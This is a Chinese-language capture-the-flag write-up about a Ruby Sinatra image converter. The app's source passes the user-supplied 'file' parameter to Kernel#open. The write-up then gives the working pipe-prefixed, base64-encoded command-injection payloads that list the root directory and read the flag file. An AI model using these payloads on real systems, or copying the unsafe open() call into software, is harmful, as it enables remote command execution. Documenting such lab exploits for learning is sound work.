文章目录
利用点
- Ruby File.open()命令执行
源码
环境的源码通过app.rb
给出
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
过程分析
Ruby File.open()命令执行
此web app用于将上传的图片转码为png文件,upload用于上传图片,convert用于转码,并将图片以base64编码的形式显示
代码审计,观察convert的函数,注意到调用了open(),因此可以试试命令执行,将命令写入一个存在的png文件,之后读取它,执行结果就会被base64编码显示在页面上
原理见:
抓个包看看,这里传入参数file完成open函数的传参
那么首先通过upload上传一个png图片
接着使用管道符开头上传shell命令,注意file参数过滤了斜杠还有后缀png检测,并且最重要的是png必须是已经存在的,那么我们可以将命令base64后执行,然后写入上面上传的那个png中。反引号内是把传入的base64值恢复,之后通过反引号执行,将输出写入图片
# ls /
[POST]file=| `echo bHMgLw== | base64 -d` > 563d256cfbf6dce1716dde5cccc587b9.png
读取该png,内容解码发现了flag
[POST]file=563d256cfbf6dce1716dde5cccc587b9.png
之后cat读取就行,一样的方法
# cat /FLA9_VixNxtSRFfd8IoFlnNvv
[POST]file=|`echo Y2F0IC9GTEE5X1ZpeE54dFNSRmZkOElvRmxuTnZ2 | base64 -d` > 563d256cfbf6dce1716dde5cccc587b9.png
[POST]file=563d256cfbf6dce1716dde5cccc587b9.png
完
欢迎在评论区留言